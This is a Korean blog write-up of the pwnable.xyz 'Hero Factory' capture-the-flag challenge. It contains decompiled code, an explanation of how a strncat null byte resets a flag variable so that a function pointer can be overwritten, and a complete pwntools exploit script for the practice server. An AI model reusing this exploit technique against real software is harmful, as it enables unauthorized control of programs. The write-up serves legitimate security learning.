[pwnable.xyz] Hero Factory
Pwn/pwnable.xyz

[pwnable.xyz] Hero Factory

반응형
문제 풀이 환경 : Ubuntu 16.04

📝 Analysis


<< Mitigation >>

PIE만 안 걸려있다.

<< Code & Thinking>>

· createHero

unsigned __int64 createHero()
{
  char *v0; // rax
  int v1; // eax
  int size; // [rsp+4h] [rbp-7Ch]
  char buf[96]; // [rsp+10h] [rbp-70h] BYREF
  int v5; // [rsp+70h] [rbp-10h]
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(buf, 0, sizeof(buf));
  v5 = 0;
  if ( is_hero_setted )
  {
    puts("Br0, you already have a hero...");
    return __readfsqword(0x28u) ^ v6;
  }

  ++is_hero_setted;
  puts("How long do you want your superhero's name to be? ");
  size = getInt();
  if ( size < 0 || size > 100 )
  {
    puts("Bad size!");
    return __readfsqword(0x28u) ^ v6;
  }

  printf("Great! Please enter your hero's name: ");
  read(0, buf, size);
  v0 = strchr(hero_name, 0);
  strncat(v0, buf, 0x64uLL);                    // vuln

  printSuperPowers();
  v1 = getInt();
  if ( v1 == 2 )
  {
    power_func = (__int64 (*)(void))crossfit;
    strcpy((char *)&myHero, "crossfit");
    goto LABEL_19;
  }
  if ( v1 <= 2 )
  {
    if ( v1 != 1 )
      goto LABEL_17;
    power_func = (__int64 (*)(void))hadouken;
    strcpy((char *)&myHero, "hadouken");
LABEL_19:
    puts("Superhero successfully created!");
    return __readfsqword(0x28u) ^ v6;
  }
  if ( v1 == 3 )
  {
    power_func = (__int64 (*)(void))wrestle;
    strcpy((char *)&myHero, "wrestling");
    goto LABEL_19;
  }
  if ( v1 == 4 )
  {
    power_func = (__int64 (*)(void))floss;
    strcpy((char *)&myHero, "flossing");
    goto LABEL_19;
  }
LABEL_17:
  puts("not a valid power!");
  if ( is_hero_setted )
    zeroHero();
  return __readfsqword(0x28u) ^ v6;
}

이 함수에서 취약점이 터진다.

strncat 함수 때문에 처음 100바이트를 꽉 채워서 입력하게 되면 바로 뒤에 있는 is_hero_setted가 strncat이 삽입하는 null byte의 영향으로 1에서 0으로 바뀌게 된다.

덕분에 다시 한번 createHero 함수를 호출할 수 있게 된다.

그렇게 앞에서 입력한 값이 남은 채로 뒤에 이어 붙이니 power_func를 내가 원하는 함수로 덮고 호출할 수 있게 된다.

 

🧩 Exploit Scenario 


1) createHero 부르고 100개 아무 값 주기

    is_hero_setted가 0으로 바뀌고 createHero 다시 부를 수 있다.

2) 처음 시작할 때 다시 +1 해주니까 bss 상 offset에 맞춰서 

    [아무 값 * 0x7] [win 함수] 의 페이로드를 보내주면 된다.

3) userPower 함수를 호출해서 win 함수를 부른다.

 

🚩 Flag 🚩


from pwn import *

# context.log_level = 'debug'

# p = process('./hero_factory')
p = remote('svc.pwnable.xyz', 30032)
e = ELF('./hero_factory')

p.sendlineafter(b'> ', b'1')
p.sendafter(b'be? \n', b'100')
p.sendafter(b'name: ', b'A' * 100)
p.sendlineafter(b'> ', b'1')

p.sendlineafter(b'> ', b'1')
p.sendafter(b'be? \n', b'16')
p.sendafter(b'name: ', b'A' * 7 + p64(e.sym['win']))
p.sendlineafter(b'> ', b'0')

p.sendlineafter(b'> ', b'2')

p.interactive()

 

반응형